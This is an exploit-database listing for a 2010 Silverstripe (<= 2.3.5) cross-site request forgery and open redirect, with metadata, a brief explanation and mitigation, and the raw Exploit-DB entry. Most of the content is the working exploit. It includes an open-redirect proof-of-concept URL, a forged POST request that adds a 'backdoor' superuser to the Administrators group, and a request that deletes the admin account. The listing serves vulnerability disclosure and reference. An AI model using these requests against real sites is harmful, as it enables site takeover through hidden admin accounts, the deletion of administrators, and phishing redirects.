Silverstripe - exploit.company

vendor:

Silverstripe

by:

cp77fk4r

6,8

CVSS

MEDIUM

Cross Site Request Forgery & Open Redirection

352,352.1

CWE

Product Name: Silverstripe

Affected Version From: 2.0.0

Affected Version To: 2.3.5

Patch Exists: YES

Related CWE: N/A

CPE: a:silverstripe:silverstripe

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2010

Silverstripe <= 2.3.5 Cross Site Request Forgery & Open Redirection

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Mitigation:

Validate all user input and ensure that all redirects are validated before being used.

Source

Exploit-DB raw data:

# Exploit Title: Silverstripe <= 2.3.5 Cross Site Request Forgery & Open Redirection.
# Date: 12/01/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Vendor: www.silverstripe.org | 
# Version: 2.0.0
# Tested on: PHP
#
#
##Open Redirection:
(OWASP: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.)
#
http://server/Security/login?BackURL=[URL]
#
PoC:
http://server/Security/login?BackURL=http://www.google.com
#
#
##Cross Site Request Forgery
(CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.)
#
Add new Superuser Account:
#
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=[BACKDOOR]&Surname=[BACKDOOR]&Email=[MAIL]&SetPassword=[BACKDOOR]&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
PoC: (Username: backdoor; Password: backdoor)
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=backdoor&Surname=backdoor&Email=blah%40blah.blah&SetPassword=backdoor&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
#
Delete user: [id]=user id (by default, the admin id is 1)
#
HTTP GET: /admin/security/EditForm/field/Members/item/[id]/delete
HTTP POST: forceajax=1
#
PoC: (delete the Admin account)
HTTP GET: /admin/security/EditForm/field/Members/item/1/delete
HTTP POST: forceajax=1
#
#
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